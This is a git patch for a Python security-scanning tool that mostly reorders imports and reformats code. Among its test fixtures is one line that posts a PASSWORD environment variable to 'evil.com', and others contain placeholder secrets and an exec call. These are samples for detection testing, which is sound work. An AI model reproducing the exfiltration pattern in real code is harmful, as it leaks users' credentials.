From cadaf6b5a8e74de0fb1a5e0322cf0b1af521ccfd Mon Sep 17 00:00:00 2001
From: jurgenwigg <jurgenwigg@protonmail.com>
Date: Wed, 8 Apr 2026 14:23:32 +0200
Subject: [PATCH 1/8] initial commit

---
 src/codeaudit/__about__.py                    |   4 +-
 src/codeaudit/__init__.py                     |   2 +-
 src/codeaudit/altairplots.py                  |   6 +-
 src/codeaudit/api_helpers.py                  |  12 +-
 src/codeaudit/api_interfaces.py               |  43 +-
 src/codeaudit/api_reporting.py                |   3 +-
 src/codeaudit/checkmodules.py                 |   2 +-
 src/codeaudit/codeaudit.py                    |   6 +-
 src/codeaudit/codeaudit_dashboard.py          | 116 ++--
 src/codeaudit/dashboard_reports.py            |  12 +-
 src/codeaudit/filehelpfunctions.py            |   4 +-
 src/codeaudit/issuevalidations.py             |   1 +
 src/codeaudit/privacy_lint.py                 |  20 +-
 src/codeaudit/pypi_package_scan.py            |   9 +-
 src/codeaudit/reporting.py                    | 105 ++-
 src/codeaudit/security_checks.py              |   7 +-
 src/codeaudit/suppression.py                  |   4 +-
 src/codeaudit/totals.py                       |  13 +-
 tests/count_lines_file1.py                    |  11 +-
 tests/spytestdir/clean.py                     |   2 +-
 tests/spytestdir/elastic.py                   |  14 +-
 tests/spytestdir/example1.py                  |   3 +-
 tests/spytestdir/klyne.py                     |   7 +-
 tests/spytestdir/mixed.py                     |   4 +-
 tests/spytestdir/telemetry.py                 |  41 +-
 tests/spytestdir/telemetryfile2.py            |  41 +-
 tests/suppression/sastsuppression_0.py        |  63 +-
 tests/suppression/sastsuppression_1.py        |  36 +-
 tests/suppression/sastsuppression_2.py        |  37 +-
 tests/test_apicalls.py                        |  40 +-
 tests/test_basicpatterns.py                   |  30 +-
 tests/test_chmod.py                           |  19 +-
 tests/test_constructspart2.py                 |  67 +-
 tests/test_correctexceptionuse.py             |  13 +-
 tests/test_count_commentlines.py              |  20 +-
 tests/test_directorycreation.py               |  55 +-
 tests/test_directorycreation2.py              |  91 ++-
 tests/test_edgecases.py                       |  29 +-
 tests/test_hashstrenght.py                    |  13 +-
 tests/test_modulecheck.py                     |  17 +-
 tests/test_obfuscatingbuiltins.py             |  15 +-
 tests/test_oschecks.py                        |  37 +-
 tests/test_pylintreport.py                    |  42 +-
 tests/test_pypiscan.py                        |  45 +-
 tests/test_random.py                          |  15 +-
 tests/test_secretfinding.py                   |  17 +-
 tests/test_standardlibconstructs.py           |  65 +-
 tests/test_subprocess.py                      |  15 +-
 tests/test_suppression.py                     |  27 +-
 tests/test_suppressionlogic.py                |  23 +-
 tests/test_totalscheck.py                     |  19 +-
 tests/test_zstd.py                            |   6 +-
 tests/validationfiles/allshit.py              | 305 +++++----
 tests/validationfiles/apivalidations.py       |  85 +--
 tests/validationfiles/assert.py               |   2 +-
 tests/validationfiles/base64.py               |   5 +-
 tests/validationfiles/chmod_things.py         |  18 +-
 tests/validationfiles/complexitycheck.py      |   2 +
 tests/validationfiles/correctcounts.py        |   7 +-
 tests/validationfiles/directorycreation.py    |   2 -
 tests/validationfiles/directorycreation2.py   |   4 +-
 tests/validationfiles/eval.py                 |  22 +-
 tests/validationfiles/eval2.py                |   8 +-
 tests/validationfiles/exception.py            |  10 +-
 tests/validationfiles/file3.py                |   8 +-
 tests/validationfiles/file_with_warnings.py   | 608 ++++++++----------
 tests/validationfiles/gzip.py                 |  15 +-
 tests/validationfiles/hashcheck.py            |  73 +--
 tests/validationfiles/httpserver.py           |  19 +-
 tests/validationfiles/inputstatement.py       |   1 +
 tests/validationfiles/marshal.py              |  19 +-
 tests/validationfiles/modulecheck.py          |  20 +-
 tests/validationfiles/multiprocessing.py      |  25 +-
 tests/validationfiles/obfuscating.py          |  48 +-
 tests/validationfiles/oschecks.py             |  16 +-
 tests/validationfiles/pickle.py               |   9 +-
 .../python2_file_willnotwork.py               |   3 +-
 tests/validationfiles/random.py               |  25 +-
 tests/validationfiles/shelve.py               |   8 +-
 tests/validationfiles/shutil.py               |  19 +-
 tests/validationfiles/subprocess.py           |  50 +-
 tests/validationfiles/syslibrary.py           |   7 +-
 tests/validationfiles/tarfilevalidation.py    |  15 +-
 tests/validationfiles/validation1.py          |  10 +-
 tests/validationfiles/validation2.py          |   8 +-
 tests/validationfiles/xml.py                  |  16 +-
 tests/validationfiles/zipfile.py              |  24 +-
 tests/validationfiles/zstd.py                 |   2 +-
 88 files changed, 1487 insertions(+), 1379 deletions(-)

diff --git a/src/codeaudit/__about__.py b/src/codeaudit/__about__.py
index afbebcb..b626244 100644
--- a/src/codeaudit/__about__.py
+++ b/src/codeaudit/__about__.py
@@ -1,4 +1,4 @@
-# SPDX-FileCopyrightText: 2025-present Maikel Mardjan 
+# SPDX-FileCopyrightText: 2025-present Maikel Mardjan
 #
 # SPDX-License-Identifier: GPL-3.0-or-later
-__version__ = "1.6.2"
+__version__ = "1.6.1"
diff --git a/src/codeaudit/__init__.py b/src/codeaudit/__init__.py
index 8439191..c27c1ea 100644
--- a/src/codeaudit/__init__.py
+++ b/src/codeaudit/__init__.py
@@ -1,4 +1,4 @@
 # SPDX-FileCopyrightText: 2025-present Maikel Mardjan - https://nocomplexity.com/
 #
 # SPDX-License-Identifier: GPL-3.0-or-later
-from . __about__ import __version__
\ No newline at end of file
+from .__about__ import __version__
diff --git a/src/codeaudit/altairplots.py b/src/codeaudit/altairplots.py
index e254bdf..e0d8939 100644
--- a/src/codeaudit/altairplots.py
+++ b/src/codeaudit/altairplots.py
@@ -12,12 +12,12 @@
 Altair Plotting functions for Python Code Audit (aka codeaudit)
 """
 
-import altair as alt
-import pandas as pd
-
 from collections import Counter
 from pathlib import Path
 
+import altair as alt
+import pandas as pd
+
 
 def module_count_barchart(scanresult):
     """Create a bar chart showing module counts by category.
diff --git a/src/codeaudit/api_helpers.py b/src/codeaudit/api_helpers.py
index a9a8271..f29763f 100644
--- a/src/codeaudit/api_helpers.py
+++ b/src/codeaudit/api_helpers.py
@@ -12,18 +12,18 @@
 Function to create nice APIs. So API helper functions.
 """
 
-import pandas as pd
 import html
 
-from codeaudit.security_checks import ast_security_checks
+import pandas as pd
+
+from codeaudit.api_interfaces import get_modules, get_overview
+from codeaudit.checkmodules import get_all_modules
 from codeaudit.filehelpfunctions import (
-    get_filename_from_path,
     collect_python_source_files,
+    get_filename_from_path,
 )
-from codeaudit.security_checks import perform_validations
+from codeaudit.security_checks import ast_security_checks, perform_validations
 from codeaudit.suppression import filter_sast_results
-from codeaudit.checkmodules import get_all_modules
-from codeaudit.api_interfaces import get_modules, get_overview
 from codeaudit.totals import overview_per_file
 
 
diff --git a/src/codeaudit/api_interfaces.py b/src/codeaudit/api_interfaces.py
index 13f1e5c..1eda2b2 100644
--- a/src/codeaudit/api_interfaces.py
+++ b/src/codeaudit/api_interfaces.py
@@ -13,38 +13,37 @@
 Public API functions for Python Code Audit aka codeaudit on pypi.org
 """
 
+import datetime
+import json
+import platform
+from collections import Counter
+from pathlib import Path
+
+import altair as alt
+import pandas as pd
+
 from codeaudit import __version__
+from codeaudit.checkmodules import (
+    check_module_vulnerability,
+    get_all_modules,
+    get_imported_modules_by_file,
+    get_standard_library_modules,
+)
 from codeaudit.filehelpfunctions import (
-    get_filename_from_path,
     collect_python_source_files,
+    get_filename_from_path,
     is_ast_parsable,
 )
-from codeaudit.security_checks import perform_validations, ast_security_checks
+from codeaudit.privacy_lint import data_egress_scan
+from codeaudit.pypi_package_scan import get_package_source, get_pypi_download_info
+from codeaudit.security_checks import ast_security_checks, perform_validations
+from codeaudit.suppression import filter_sast_results
 from codeaudit.totals import (
-    overview_per_file,
     get_statistics,
     overview_count,
+    overview_per_file,
     total_modules,
 )
-from codeaudit.checkmodules import (
-    get_all_modules,
-    get_imported_modules_by_file,
-    get_standard_library_modules,
-    check_module_vulnerability,
-)
-from codeaudit.pypi_package_scan import get_pypi_download_info, get_package_source
-from codeaudit.suppression import filter_sast_results
-from codeaudit.privacy_lint import data_egress_scan
-
-from pathlib import Path
-import json
-import datetime
-import pandas as pd
-import platform
-from collections import Counter
-
-
-import altair as alt
 
 
 def version():
diff --git a/src/codeaudit/api_reporting.py b/src/codeaudit/api_reporting.py
index 11e44a6..21386ca 100644
--- a/src/codeaudit/api_reporting.py
+++ b/src/codeaudit/api_reporting.py
@@ -19,9 +19,10 @@
 
 """
 
-import pandas as pd
 from collections import Counter
 
+import pandas as pd
+
 
 def total_weaknesses(input_file):
     """Returns the total weaknesses found"""
diff --git a/src/codeaudit/checkmodules.py b/src/codeaudit/checkmodules.py
index 12d0dc3..a2ac4a0 100644
--- a/src/codeaudit/checkmodules.py
+++ b/src/codeaudit/checkmodules.py
@@ -14,8 +14,8 @@
 """
 
 import ast
-import sys
 import json
+import sys
 import urllib.request
 
 from codeaudit.filehelpfunctions import collect_python_source_files, read_in_source_file
diff --git a/src/codeaudit/codeaudit.py b/src/codeaudit/codeaudit.py
index 54922d9..86a7c9b 100644
--- a/src/codeaudit/codeaudit.py
+++ b/src/codeaudit/codeaudit.py
@@ -13,14 +13,16 @@
 CLI functions for codeaudit
 """
 
-import fire  # for working CLI with this PoC-thing (The Google way)
 import sys
+
+import fire  # for working CLI with this PoC-thing (The Google way)
+
 from codeaudit import __version__
 from codeaudit.reporting import (
     overview_report,
+    report_implemented_tests,
     report_module_information,
     scan_report,
-    report_implemented_tests,
 )
 
 codeaudit_ascii_art = r"""
diff --git a/src/codeaudit/codeaudit_dashboard.py b/src/codeaudit/codeaudit_dashboard.py
index cb27bab..f8dfcfb 100644
--- a/src/codeaudit/codeaudit_dashboard.py
+++ b/src/codeaudit/codeaudit_dashboard.py
@@ -10,30 +10,19 @@
 You should have received a copy of the GNU General Public License along with this program. If not, see <https://www.gnu.org/licenses/>.
 
 
-WASM Dashboard version of codeaudit - limited functionality - 
+WASM Dashboard version of codeaudit - limited functionality -
 """
 
-import inspect 
-import sys
 import asyncio
-
 import datetime
+import inspect
 import json
+import sys
 
 import panel as pn
-pn.extension('vega')
 
+pn.extension("vega")
 
-from codeaudit.api_interfaces import version, get_package_source
-from codeaudit.api_helpers import _codeaudit_directory_scan_wasm
-
-from codeaudit.dashboard_reports import (
-    report_sast_results,
-    report_used_modules,
-    get_info_text,
-    get_disclaimer_text,
-    create_statistics_overview,
-)
 
 from codeaudit.altairplots import (
     ast_nodes_overview,
@@ -45,24 +34,35 @@
     weaknesses_overview,
     weaknesses_radial_overview,
 )
+from codeaudit.api_helpers import _codeaudit_directory_scan_wasm
+from codeaudit.api_interfaces import get_package_source, version
+from codeaudit.dashboard_reports import (
+    create_statistics_overview,
+    get_disclaimer_text,
+    get_info_text,
+    report_sast_results,
+    report_used_modules,
+)
 
 # --- Environment Detection ---
 IS_PYODIDE = "pyodide" in sys.modules
 
 
 async def get_pypi_package_info_wasm(package_name):
-    url = f"https://pypi.org/pypi/{package_name}/json"    
+    url = f"https://pypi.org/pypi/{package_name}/json"
     if IS_PYODIDE:
         from pyodide.http import pyfetch
+
         try:
-            response = await pyfetch(url)  
+            response = await pyfetch(url)
             if not response.ok:
                 return False
-            return await response.json()  
+            return await response.json()
         except:
             return False
     else:
         import urllib.request
+
         try:
             with urllib.request.urlopen(url) as response:
                 return json.loads(response.read().decode("utf-8"))
@@ -72,21 +72,27 @@ async def get_pypi_package_info_wasm(package_name):
 
 async def get_pypi_download_info_wasm(package_name):
     data = await get_pypi_package_info_wasm(package_name)
-    if not data or 'info' not in data:
+    if not data or "info" not in data:
         return False
 
-    version_str = data.get('info', {}).get('version')
-    releases = data.get('releases', {}).get(version_str, [])
+    version_str = data.get("info", {}).get("version")
+    releases = data.get("releases", {}).get(version_str, [])
 
     for file_info in releases:
-        if file_info.get('packagetype') == 'sdist' and file_info.get('url').endswith(".tar.gz"):
-            return {"download_url": file_info.get('url'), "release": version_str}
+        if file_info.get("packagetype") == "sdist" and file_info.get("url").endswith(
+            ".tar.gz"
+        ):
+            return {"download_url": file_info.get("url"), "release": version_str}
     return False
 
 
 async def get_package_source_wasm(url):
+    import gzip
+    import tarfile
+    import tempfile
+    import zlib
+
     from pyodide.http import pyfetch
-    import gzip, zlib, tarfile, tempfile
 
     try:
         response = await pyfetch(url)
@@ -109,7 +115,7 @@ async def get_package_source_wasm(url):
             f.write(content)
 
         with tarfile.open(tar_path, "r:gz") as tar:
-            tar.extractall(path=temp_dir, filter='data')
+            tar.extractall(path=temp_dir, filter="data")
 
         return temp_dir, tmpdir_obj
 
@@ -130,7 +136,7 @@ async def filescan_wasm(input_path, nosec=False):
     ca_version_info = version()
     now = datetime.datetime.now()
     timestamp_str = now.strftime("%Y-%m-%d %H:%M")
-    output = ca_version_info | {"generated_on": timestamp_str}    
+    output = ca_version_info | {"generated_on": timestamp_str}
     pypi_data = await get_pypi_download_info_wasm(input_path)
 
     if pypi_data:
@@ -153,7 +159,7 @@ async def filescan_wasm(input_path, nosec=False):
             if decoded_res is None:
                 return {
                     "Error": f"Could not download or extract package from {url}. "
-                             f"This may be due to browser restrictions."
+                    f"This may be due to browser restrictions."
                 }
 
             src_dir, tmp_handle = decoded_res
@@ -165,9 +171,7 @@ async def filescan_wasm(input_path, nosec=False):
             }
 
             try:
-                scan_output = _codeaudit_directory_scan_wasm(
-                    src_dir, nosec_flag=nosec
-                )
+                scan_output = _codeaudit_directory_scan_wasm(src_dir, nosec_flag=nosec)
                 output |= scan_output
             finally:
                 if tmp_handle:
@@ -175,9 +179,7 @@ async def filescan_wasm(input_path, nosec=False):
 
             return output
     # ---------------------------------------------------------
-    return {
-        "Error": "Package not found on PyPI.org."
-    }
+    return {"Error": "Package not found on PyPI.org."}
 
 
 # - END of specific HELPERS to do CA things -#
@@ -185,31 +187,33 @@ async def filescan_wasm(input_path, nosec=False):
 
 # --- UI Component Definitions ---
 text_input = pn.widgets.TextInput(
-    name='Python Package Name',
-    placeholder='Enter PyPI package (e.g., requests)...'
+    name="Python Package Name", placeholder="Enter PyPI package (e.g., requests)..."
 )
 
 
-run_button = pn.widgets.Button(name='Run Scan', button_type='primary')
+run_button = pn.widgets.Button(name="Run Scan", button_type="primary")
 status = pn.pane.Markdown("### Ready to scan.")
-result_pane = pn.pane.JSON({}, name='JSON', sizing_mode="stretch_both", depth=-1)
-loading = pn.indicators.LoadingSpinner(value=False, size=60, color='primary', bgcolor='light' ,  name='Scanning...')
+result_pane = pn.pane.JSON({}, name="JSON", sizing_mode="stretch_both", depth=-1)
+loading = pn.indicators.LoadingSpinner(
+    value=False, size=60, color="primary", bgcolor="light", name="Scanning..."
+)
 
 overview_visuals = create_statistics_overview(result_pane.object)
 
-tabs =pn.Tabs(    
-    ('Package Overview', overview_visuals),
-    ('Used Modules', overview_visuals),
-    ('Complexity Insights', overview_visuals),    
-    ('Weaknesses Overview', overview_visuals),    
-    ('Weaknesses per file', overview_visuals),
-    ('Weaknesses Details', overview_visuals),
+tabs = pn.Tabs(
+    ("Package Overview", overview_visuals),
+    ("Used Modules", overview_visuals),
+    ("Complexity Insights", overview_visuals),
+    ("Weaknesses Overview", overview_visuals),
+    ("Weaknesses per file", overview_visuals),
+    ("Weaknesses Details", overview_visuals),
     dynamic=True,
-    sizing_mode="stretch_both"
+    sizing_mode="stretch_both",
 )
 
 # --- UI Callback ---
 
+
 async def run_scan(event):
     package_name = text_input.value.strip()
 
@@ -252,7 +256,9 @@ async def run_scan(event):
                 pn.Column(
                     pn.Row(
                         pn.pane.Vega(module_count_barchart(result), show_actions=True),
-                        pn.pane.Vega(module_distribution_view(result), show_actions=True),
+                        pn.pane.Vega(
+                            module_distribution_view(result), show_actions=True
+                        ),
                     ),
                     report_used_modules(result),
                     pn.Spacer(height=60),
@@ -271,9 +277,7 @@ async def run_scan(event):
 
             tabs[3] = (
                 "Weaknesses Overview",
-                pn.Column(
-                    pn.pane.Vega(weaknesses_overview(result), show_actions=True)
-                ),
+                pn.Column(pn.pane.Vega(weaknesses_overview(result), show_actions=True)),
             )
 
             tabs[4] = (
@@ -315,23 +319,21 @@ async def run_scan(event):
     text_input,
     run_button,
     loading,
-    status,  
+    status,
     infotext,
-    disclaimer_text,    
+    disclaimer_text,
     sizing_mode="stretch_width",
 )
 
 
-main_pane = pn.Column(    
-    tabs, sizing_mode="stretch_both"
-)
+main_pane = pn.Column(tabs, sizing_mode="stretch_both")
 
 
 app = pn.template.MaterialTemplate(
-    header_background="#262626",    
+    header_background="#262626",
     title="Python Security Code Audit",
     sidebar=[ca_sidebar],
-    main=[main_pane]
+    main=[main_pane],
 )
 
 app.servable()
diff --git a/src/codeaudit/dashboard_reports.py b/src/codeaudit/dashboard_reports.py
index aa778a3..e3777d4 100644
--- a/src/codeaudit/dashboard_reports.py
+++ b/src/codeaudit/dashboard_reports.py
@@ -12,6 +12,7 @@
 API functions: Used for dashboard reporting (Panel / WASM) and notebooks, or to build custom reports.
 """
 
+# import panel as pn
 
 SAST_REPORT_CSS = """
 <style>
@@ -202,16 +203,13 @@ def report_sast_results(scanresult):
 
     total_number_of_files = scanresult["statistics_overview"]["Number_Of_Files"]
     # --- HTML REPORT ---
-    html = (
-        SAST_REPORT_CSS
-        + f"""
+    html = SAST_REPORT_CSS + f"""
     <div class="sast-report">
         <h2>Detailed Code Security Report</h2>
         <p><strong>Package:</strong> {scanresult.get("package_name", "N/A")}</p>
         <p><strong>version:</strong> {scanresult.get("package_release", "N/A")}</p>
         <p><strong>Total files with findings:</strong> {len(files_with_findings)} of {total_number_of_files} files in total</p>
     """
-    )
 
     for file_info in files_with_findings:
         filename = file_info.get("FileName", "Unknown File")
@@ -389,13 +387,11 @@ def get_info_text():
             
             """,
         sizing_mode="stretch_width",
-        stylesheets=[
-            """
+        stylesheets=["""
                 .bk-panel {
                     background: transparent !important;
                 }
-            """
-        ],
+            """],
         styles=custom_style,
     )
     return infotext
diff --git a/src/codeaudit/filehelpfunctions.py b/src/codeaudit/filehelpfunctions.py
index f74b236..3dc459f 100644
--- a/src/codeaudit/filehelpfunctions.py
+++ b/src/codeaudit/filehelpfunctions.py
@@ -12,11 +12,11 @@
 Helper functions for files
 """
 
+import ast
 import os
 import sys
-from pathlib import Path
-import ast
 import warnings
+from pathlib import Path
 
 
 def read_in_source_file(file_path):
diff --git a/src/codeaudit/issuevalidations.py b/src/codeaudit/issuevalidations.py
index bf25872..bf664e3 100644
--- a/src/codeaudit/issuevalidations.py
+++ b/src/codeaudit/issuevalidations.py
@@ -15,6 +15,7 @@
 import ast
 import warnings
 from collections import defaultdict
+
 from codeaudit.checkmodules import get_imported_modules
 
 
diff --git a/src/codeaudit/privacy_lint.py b/src/codeaudit/privacy_lint.py
index 179b9f5..b7bbd8d 100644
--- a/src/codeaudit/privacy_lint.py
+++ b/src/codeaudit/privacy_lint.py
@@ -12,25 +12,21 @@
 EGRESS DETECTION LOGIC - see docs
 """
 
+import ast
+import datetime
+import re
+from importlib.resources import files
+from pathlib import Path
+
 # from codeaudit.api_interfaces import version
 from codeaudit import __version__
 from codeaudit.filehelpfunctions import (
-    get_filename_from_path,
     collect_python_source_files,
+    get_filename_from_path,
     is_ast_parsable,
     read_in_source_file,
 )
-from codeaudit.pypi_package_scan import get_pypi_download_info, get_package_source
-
-
-import ast
-from pathlib import Path
-import datetime
-import re
-
-
-from importlib.resources import files
-
+from codeaudit.pypi_package_scan import get_package_source, get_pypi_download_info
 
 SECRETS_LIST = files("codeaudit.data").joinpath("secretslist.txt")
 
diff --git a/src/codeaudit/pypi_package_scan.py b/src/codeaudit/pypi_package_scan.py
index 7cfab57..1d21528 100644
--- a/src/codeaudit/pypi_package_scan.py
+++ b/src/codeaudit/pypi_package_scan.py
@@ -9,16 +9,17 @@
 
 You should have received a copy of the GNU General Public License along with this program. If not, see <https://www.gnu.org/licenses/>.
 
+
+Public API functions for Python Code Audit aka codeaudit on pypi.org
 """
 
 import gzip
-import zlib
-import tarfile
 import json
+import tarfile
 import tempfile
-
+import zlib
+from urllib.error import HTTPError, URLError
 from urllib.request import Request, urlopen
-from urllib.error import URLError, HTTPError
 
 from codeaudit import __version__
 
diff --git a/src/codeaudit/reporting.py b/src/codeaudit/reporting.py
index b288f7a..748a3e7 100644
--- a/src/codeaudit/reporting.py
+++ b/src/codeaudit/reporting.py
@@ -13,45 +13,43 @@
 Reporting functions for codeaudit
 """
 
-import re
+import datetime
+import html
 import os
-from pathlib import Path
+import re
 import sys
+from importlib.resources import files
+from pathlib import Path
 
 import pandas as pd
-import html
-import datetime
 
-from codeaudit.security_checks import perform_validations, ast_security_checks
+from codeaudit import __version__
+from codeaudit.altairplots import multi_bar_chart
+from codeaudit.api_helpers import _collect_issue_lines
+from codeaudit.checkmodules import (
+    check_module_vulnerability,
+    get_all_modules,
+    get_imported_modules,
+    get_imported_modules_by_file,
+)
 from codeaudit.filehelpfunctions import (
-    get_filename_from_path,
     collect_python_source_files,
-    read_in_source_file,
+    get_filename_from_path,
     has_python_files,
     is_ast_parsable,
+    read_in_source_file,
 )
-from codeaudit.altairplots import multi_bar_chart
+from codeaudit.htmlhelpfunctions import dict_list_to_html_table, json_to_html
+from codeaudit.privacy_lint import data_egress_scan, has_privacy_findings
+from codeaudit.pypi_package_scan import get_package_source, get_pypi_download_info
+from codeaudit.security_checks import ast_security_checks, perform_validations
+from codeaudit.suppression import filter_sast_results
 from codeaudit.totals import (
     get_statistics,
     overview_count,
     overview_per_file,
     total_modules,
 )
-from codeaudit.checkmodules import (
-    get_imported_modules,
-    check_module_vulnerability,
-    get_all_modules,
-    get_imported_modules_by_file,
-)
-from codeaudit.htmlhelpfunctions import json_to_html, dict_list_to_html_table
-from codeaudit import __version__
-from codeaudit.pypi_package_scan import get_pypi_download_info, get_package_source
-from codeaudit.privacy_lint import data_egress_scan, has_privacy_findings
-from codeaudit.suppression import filter_sast_results
-from codeaudit.api_helpers import _collect_issue_lines
-
-from importlib.resources import files
-
 
 PYTHON_CODE_AUDIT_TEXT = '<a href="https://github.com/nocomplexity/codeaudit" target="_blank"><b>Python Code Audit</b></a>'
 DISCLAIMER_TEXT = (
@@ -429,44 +427,35 @@ def secrets_report(spy_output):
 def pylint_reporting(result):
     """
     Creates a pandas DataFrame of privacy findings with columns:
-    'line', 'found', and 'code'.
-
-    - Escapes HTML for safe rendering
-    - Converts newlines to <br>
-    - Wraps code in <pre><code> block
-    - Optimized for performance (fewer lookups, reusable template)
+    'lineno' and 'code'.
+    HTML-escaped and newlines converted to <br> for safe display.
     """
     rows = []
-    append_row = rows.append  # local reference (faster in loops)
-
-    # Predefine template (faster than rebuilding strings each loop)
-    template = '<pre><code class="language-python">{}</code></pre>'
-
-    # Safely get dict
-    file_checks = result.get("file_privacy_check") or {}
-
-    for item in file_checks.values():
-        entries = item.get("privacy_check_result", [])
-        for entry in entries:
-            code = entry.get("code", "")
-            lineno = entry.get("lineno")
-            matched = entry.get("matched")
-
-            # Escape HTML and replace newlines (done once per entry)
-            escaped_code = html.escape(code).replace("\n", "<br>")
-
-            # Format HTML block (faster than f-string in tight loops)
-            code_html = template.format(escaped_code)
-
-            append_row(
-                {
-                    "line": lineno,
-                    "found": matched,
-                    "code": code_html,
-                }
-            )
 
-    return pd.DataFrame(rows, columns=["line", "found", "code"])
+    # Check that file_privacy_check exists and is not empty
+    if result.get("file_privacy_check"):
+        for item in result["file_privacy_check"].values():
+            for entry in item.get("privacy_check_result", []):
+                # Escape HTML special characters
+                escaped_code = html.escape(entry["code"])
+                # Convert newlines to <br> and wrap in <pre><code>
+                code_html = f'<pre><code class="language-python">{escaped_code.replace("\n", "<br>")}</code></pre>'
+                # Add a row to the list
+                rows.append(
+                    {
+                        "lineno": entry["lineno"],
+                        "matched": entry["matched"],
+                        "code": code_html,
+                    }
+                )
+
+    # Convert to pandas DataFrame
+    df = pd.DataFrame(rows, columns=["lineno", "matched", "code"])
+    df = df.rename(
+        columns={"lineno": "line", "matched": "found"}
+    )  # rename to UI frienly names
+
+    return df
 
 
 def single_file_report(filename, scan_output):
diff --git a/src/codeaudit/security_checks.py b/src/codeaudit/security_checks.py
index 0fcf39c..1f74505 100644
--- a/src/codeaudit/security_checks.py
+++ b/src/codeaudit/security_checks.py
@@ -12,15 +12,14 @@
 The checks for codeaudit
 """
 
+from importlib.resources import files
+
 import pandas as pd
 
-from codeaudit.filehelpfunctions import read_in_source_file, get_filename_from_path
+from codeaudit.filehelpfunctions import get_filename_from_path, read_in_source_file
 from codeaudit.issuevalidations import find_constructs
 
 
-from importlib.resources import files
-
-
 def load_sast_checks():
     csv_path = files("codeaudit.data").joinpath("sastchecks.csv")
     return pd.read_csv(csv_path)
diff --git a/src/codeaudit/suppression.py b/src/codeaudit/suppression.py
index b18f1b1..0e6046c 100644
--- a/src/codeaudit/suppression.py
+++ b/src/codeaudit/suppression.py
@@ -14,10 +14,10 @@
 """
 
 import ast
-import tokenize
-from collections import defaultdict
 import re
 import sys
+import tokenize
+from collections import defaultdict
 
 
 def get_all_comments_by_line(filename):
diff --git a/src/codeaudit/totals.py b/src/codeaudit/totals.py
index 5e1b363..d3082aa 100644
--- a/src/codeaudit/totals.py
+++ b/src/codeaudit/totals.py
@@ -15,17 +15,16 @@
 import ast
 import warnings
 
-from codeaudit.filehelpfunctions import (
-    read_in_source_file,
-    get_filename_from_path,
-    collect_python_source_files,
-)
+from codeaudit.checkmodules import get_all_modules, get_imported_modules
 from codeaudit.complexitycheck import (
     calculate_complexity,
     count_static_warnings_in_file,
 )
-
-from codeaudit.checkmodules import get_imported_modules, get_all_modules
+from codeaudit.filehelpfunctions import (
+    collect_python_source_files,
+    get_filename_from_path,
+    read_in_source_file,
+)
 
 
 def count_ast_objects(source):
diff --git a/tests/count_lines_file1.py b/tests/count_lines_file1.py
index d50e50e..ef8f0e3 100644
--- a/tests/count_lines_file1.py
+++ b/tests/count_lines_file1.py
@@ -4,13 +4,8 @@ def example():
     Multi-line docstring
     spanning multiple lines
     """
-    x = {
-        'a': 1, 
-        'b': 2
-    }
+    x = {"a": 1, "b": 2}
 
-    maikel = you # comment
-    mystring = 'See how this is detected!'
+    maikel = you  # comment
+    mystring = "See how this is detected!"
     return x
-
-
diff --git a/tests/spytestdir/clean.py b/tests/spytestdir/clean.py
index cf198d5..40f02ff 100644
--- a/tests/spytestdir/clean.py
+++ b/tests/spytestdir/clean.py
@@ -1 +1 @@
-print("clean file- no security issues here!")
\ No newline at end of file
+print("clean file- no security issues here!")
diff --git a/tests/spytestdir/elastic.py b/tests/spytestdir/elastic.py
index 57ddad5..78b8918 100644
--- a/tests/spytestdir/elastic.py
+++ b/tests/spytestdir/elastic.py
@@ -1,9 +1,11 @@
-#typical Elastic client setup 
-#From a security point of view: Data exfiltration to an external provider with too many risks.
+# typical Elastic client setup
+# From a security point of view: Data exfiltration to an external provider with too many risks.
 
 import os
+
 from elasticsearch import Elasticsearch
 
+
 def main():
     client = Elasticsearch(
         hosts=[os.getenv("ELASTICSEARCH_URL")],
@@ -14,10 +16,6 @@ def main():
         index="my-index-000001",
         from_=40,
         size=20,
-        query={
-            "term": {
-                "user.id": "kimchy"
-            }
-        },
+        query={"term": {"user.id": "kimchy"}},
     )
-    print(resp)
\ No newline at end of file
+    print(resp)
diff --git a/tests/spytestdir/example1.py b/tests/spytestdir/example1.py
index 8167093..4318758 100644
--- a/tests/spytestdir/example1.py
+++ b/tests/spytestdir/example1.py
@@ -1,6 +1,7 @@
 import os
+
 import requests
 
 password = os.environ["PASSWORD"]
 
-requests.post("https://evil.com", data=password)
\ No newline at end of file
+requests.post("https://evil.com", data=password)
diff --git a/tests/spytestdir/klyne.py b/tests/spytestdir/klyne.py
index 6959534..a221631 100644
--- a/tests/spytestdir/klyne.py
+++ b/tests/spytestdir/klyne.py
@@ -1,7 +1,4 @@
-#detection of this telemetry function or alike SHOULD be done!
+# detection of this telemetry function or alike SHOULD be done!
 import klyne
 
-klyne.init(
-    api_key='your-api-key',
-    project='pandas'
-)
\ No newline at end of file
+klyne.init(api_key="your-api-key", project="pandas")
diff --git a/tests/spytestdir/mixed.py b/tests/spytestdir/mixed.py
index 930984f..4dc80b4 100644
--- a/tests/spytestdir/mixed.py
+++ b/tests/spytestdir/mixed.py
@@ -1,4 +1,4 @@
 print("almost clean file- no security issues here!")
-exec('ls')
+exec("ls")
 
-connection_string = get_token('openAI_key')
\ No newline at end of file
+connection_string = get_token("openAI_key")
diff --git a/tests/spytestdir/telemetry.py b/tests/spytestdir/telemetry.py
index 1106268..410b627 100644
--- a/tests/spytestdir/telemetry.py
+++ b/tests/spytestdir/telemetry.py
@@ -1,31 +1,30 @@
 # Example telemetry/analytics module that uses token/API_KEY - not FOSS so unkown security risks and has privacy risks!
-API_KEY = "static_key" #simple static assingment
-config.api_key = os.getenv("API_KEY") #environmental sourcing
-secrets["token"] = get_token() # dynamic assignment using a function
-xecretx["tokes"] = get_token() # dynamic assignment using a function
-my_long_API_secretskey_namevalue['tokenstring'] = get_api_token_from_vault()
-my_long_notcompleethidenvariable_namevalue['aiusestring'] = get_api_token_from_vault()
-API_KEY = load_secret() #match on API_key 
+API_KEY = "static_key"  # simple static assingment
+config.api_key = os.getenv("API_KEY")  # environmental sourcing
+secrets["token"] = get_token()  # dynamic assignment using a function
+xecretx["tokes"] = get_token()  # dynamic assignment using a function
+my_long_API_secretskey_namevalue["tokenstring"] = get_api_token_from_vault()
+my_long_notcompleethidenvariable_namevalue["aiusestring"] = get_api_token_from_vault()
+API_KEY = load_secret()  # match on API_key
 
 
-token="token_234r34r"
-api_key="AIza.*"
-password=".*strange#pasword"
+token = "token_234r34r"
+api_key = "AIza.*"
+password = ".*strange#pasword"
 
 import shitlib
-shitlib.init(
-api_key='shitlib_abc123def456',
-project='your-package-name'
-)
 
-variable =1
+shitlib.init(api_key="shitlib_abc123def456", project="your-package-name")
